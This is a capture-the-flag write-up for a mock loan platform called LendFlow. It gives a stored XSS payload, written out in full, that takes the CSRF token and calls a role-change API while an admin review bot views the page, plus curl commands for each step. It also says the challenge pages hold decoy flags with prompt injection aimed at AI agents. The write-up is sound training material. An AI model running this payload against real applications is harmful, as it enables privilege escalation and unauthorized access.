LendFlow
LendFlow
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, api_endpoint_discovery_via_js, csrf_token_extraction_in_xss, privilege_escalation_via_role_api, robots_txt_enumeration, stored_xss_injection
Summary
Walkthrough of the CUSTOM Web LendFlow. Task: Loan origination platform with stored XSS in purchase_description field and admin role-change API exposed in frontend JS. Solution: Inject XSS payload that extracts CSRF token and calls PUT /api
Description
LendFlow is a loan origination platform used by FlowFin Technologies to manage loan applications from submission through approval. Employees create loan applications with customer details, and managers review and approve them through an internal workflow. The platform has role-based access control with employee, manager, and admin tiers. You have been given credentials for a regular employee account. There is sensitive data accessible only to admin users. Your goal is to find a way to escalate your privileges and access the restricted admin functionality.
English summary: A loan management web application with role-based access (employee/manager/admin). Given employee credentials, the goal is to escalate to admin and access restricted system reports containing the flag.
Analysis
Application Stack
- Backend: Express.js with EJS templates
- Session:
connect.sidcookie withHttpOnlyflag (prevents cookie theft via XSS) - CSRF protection:
_csrftokens embedded in forms and a<meta name="csrf-token">tag; AJAX requests requireCSRF-Tokenheader - Roles: employee → manager → admin
Reconnaissance
robots.txt revealed hidden admin endpoints:
Disallow: /api/admin/
Disallow: /admin/
Disallow: /api/admin/system-report
Disallow: /api/admin/users
Frontend JavaScript (/js/app.js) exposed the full admin API surface:
GET /api/admin/users— list all usersPUT /api/admin/users/:id/role— change any user's role (the critical endpoint)GET /api/admin/system-report— system report (contains the flag)
All admin endpoints return {"error":"Admin access required"} for non-admin users.
User Context
From the /settings page: logged-in user is Sarah Mitchell, role=employee, User ID #1.
Stored XSS Vector
The loan creation form (/loans/new) has a purchase_description textarea with the hint: "Supports rich text formatting." This field is rendered unescaped on the loan detail page (/loans/:id) — the EJS template uses <%- purchase_description %> instead of <%= purchase_description %>, allowing arbitrary HTML/JavaScript injection.
Bot Workflow
When an employee submits a loan for review via POST /loans/:id/request-review, a manager bot automatically visits the loan detail page within ~30 seconds to review it. Any JavaScript in the rendered page executes in the manager's authenticated browser session.
Decoy Flags
Every page contains decoy flags in HTML comments and hidden divs: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection text attempting to trick AI agents. These were identified and ignored.
Why Cookie Theft Won't Work
The connect.sid session cookie has the HttpOnly flag set, making it inaccessible to JavaScript. Instead of stealing the session, the attack must perform actions within the manager's browser context.
Solution
Step 1: Login
Authenticate with the provided credentials: user@test.com / password123.
Step 2: Craft XSS Payload
The payload must:
- Extract the CSRF token from the page's
<meta name="csrf-token">tag - Call
PUT /api/admin/users/1/roleto change our user (ID #1) to admin - Include the CSRF token in both the
CSRF-Tokenheader and request body
html read-only • copy allowed<img src=x onerror="var t=document.querySelector('meta[name=csrf-token]').content;fetch('/api/admin/users/1/role',{method:'PUT',headers:{'Content-Type':'application/json','CSRF-Token':t},credentials:'same-origin',body:JSON.stringify({role:'admin',_csrf:t})})">
The <img src=x onerror=...> pattern is used because it executes immediately when the DOM renders the broken image, without requiring <script> tags (which some sanitizers might strip).
Step 3: Create Loan Application
Submit a new loan via POST /loans with the XSS payload in the purchase_description field:
bash read-only • copy allowed# Login and get session cookie curl -c cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123&_csrf=$CSRF" # Create loan with XSS payload in purchase_description curl -b cookies.txt -X POST "$URL/loans" \ -d "applicant_name=Test&loan_type=personal&amount=10000&term_months=12&_csrf=$CSRF" \ --data-urlencode 'purchase_description=<img src=x onerror="var t=document.querySelector("meta[name=csrf-token]").content;fetch("/api/admin/users/1/role",{method:"PUT",headers:{"Content-Type":"application/json","CSRF-Token":t},credentials:"same-origin",body:JSON.stringify({role:"admin",_csrf:t})})">'
Step 4: Submit for Review
Trigger the bot by submitting the loan for manager review:
bash read-only • copy allowedcurl -b cookies.txt -X POST "$URL/loans/$LOAN_ID/request-review" \ -d "_csrf=$CSRF"
This changes the loan status from "Draft" to "Pending Review" and queues it for the manager bot.
Step 5: Wait for Bot → Privilege Escalation
After ~30 seconds, the manager bot visits /loans/$LOAN_ID. The XSS payload executes in the manager's browser:
- Reads the CSRF token from the page
- Sends
PUT /api/admin/users/1/rolewith{role: "admin"}using the manager's session - Our user's role is changed from
employeetoadmin
Step 6: Access Admin System Report
With admin privileges, fetch the system report:
bash read-only • copy allowedcurl -b cookies.txt "$URL/api/admin/system-report"
Response:
json read-only • copy allowed{ "report_id": "SR-MP5J75C4", "generated_at": "2026-05-14T13:35:45.604Z", "platform": "LendFlow v1.0.3", "environment": "production", "statistics": { "total_users": 5, "total_loans": 14, "total_clients": 16, "total_loan_value": 2118000, "approval_rate": 35.7, "system_key": "FLAG{REDACTED}", "license": { "tier": "Enterprise", "seats": 50, "expires": "2027-12-31" } } }
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, api_endpoint_discovery_via_js, csrf_token_extraction_in_xss, privilege_escalation_via_role_api, robots_txt_enumeration, stored_xss_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • LendFlow • Difficulty: Medium